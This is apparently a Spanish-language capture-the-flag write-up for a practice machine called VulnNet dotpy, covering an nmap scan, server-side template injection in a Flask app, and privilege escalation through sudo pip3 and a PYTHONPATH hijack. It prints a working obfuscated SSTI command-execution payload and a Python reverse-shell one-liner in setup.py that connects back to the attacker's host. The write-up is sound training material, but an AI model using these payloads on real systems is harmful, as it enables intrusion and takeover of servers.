Table of Contents

LinkNivelCreador
AquíMedioTheCyb3rW0lf

Reconocimiento

Primero escaneamos la máquina con nmap para verificar qué puertos están abiertos/cerrados/filtrados.

╰─ lanfran@parrot ❯ map 10.10.43.197                                                                                               ─╯
[sudo] password for lanfran: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-12 12:49 CEST
Nmap scan report for 10.10.43.197
Host is up (0.067s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-title: VulnNet Entertainment -  Login  | Discover
|_Requested resource was http://10.10.43.197:8080/login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.12 seconds

¡Bien! Tenemos un servidor web Python que se ejecuta en el puerto 8080.

Vamos a navegar hacia el.

La página nos solicita iniciar sesión/registrarnos. Pero intenté navegar a una página que no existía.

not_registered

Mmmm una página 403, que nos obliga a iniciar sesión…

Así que hagámoslo, creemos un usuario ficticio e inicie sesión, para que podamos navegar a esa página de nuevo…

Una vez que haya iniciado sesión, navegue de nuevo a la página que no existe y veamos algo muy interesante.

logged_in

La página nos muestra la página solicitada, tal vez podamos explotar esto…

Así que utilicé el exploit común {{7 * 7}} para comprobar si era vulnerable, ¡¡y devolvió 49 !!

exploit

Acceso inicial - Usuario

So we can exploit this with the following code.

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('###CODE###')|attr('read')()}}

Where says ###CODE### you can just put your system command, so let’s use burpsuite to send the request with id and see which user are we

id

Good! We are the web user, let’s encode our shell to hex so we can run it, here you have the shell and the perfect encoding in a Cyberchef recipe !

Send it with burpsuite, and get your reverse shell with netcat

user

Perfect! We now have a reverse shell, so let’s first run sudo -l to see if our user can run a command with any other user

web@vulnnet-dotpy:~$ sudo -l
Matching Defaults entries for web on vulnnet-dotpy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User web may run the following commands on vulnnet-dotpy:
    (system-adm) NOPASSWD: /usr/bin/pip3 install *
web@vulnnet-dotpy:~$

Interesante, podemos ejecutar pip3 install con el usuario system-adm

Al leer la página GTFOBins, creé otra shell reversa:

########VICTIMA
web@vulnnet-dotpy:/tmp/project$ cat setup.py 
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.2.160",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
web@vulnnet-dotpy:/tmp/project$ sudo -u system-adm /usr/bin/pip3 install .
Processing /tmp/project

########ATACANTE

╰─ lanfran@parrot ❯ nc -nlvp 1338                                                                                                  ─╯
listening on [any] 1338 ...
connect to [10.9.2.160] from (UNKNOWN) [10.10.43.197] 45420
$ id
uid=1000(system-adm) gid=1000(system-adm) groups=1000(system-adm),24(cdrom)
w$whoami
system-adm
$ cat /home/system-adm/user.txt
THM{[REDACTADO]}
$

¡Y ahora podemos leer la bandera del usuario!

Root

Una vez más con este nuevo usuario, ejecuté sudo -l y obtenemos este resultado:

system-adm@vulnnet-dotpy:~$ sudo -l
Matching Defaults entries for system-adm on vulnnet-dotpy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User system-adm may run the following commands on vulnnet-dotpy:
    (ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py

Podemos aprovechar una vulnerabilidad de Pythonpath, en estos sencillos pasos:

  1. Cree una “biblioteca de python” maliciosa llamada “zipfile.py” (que está siendo utilizada por el script backup.py) en/tmp
  2. Ejecute este comando sudo PYTHONPATH=/tmp/ /usr/bin/python3 /opt/backup.py

¡Y hemos rooteado la máquina!

Eso es todo de mi parte, ¡espero que lo encuentre útil!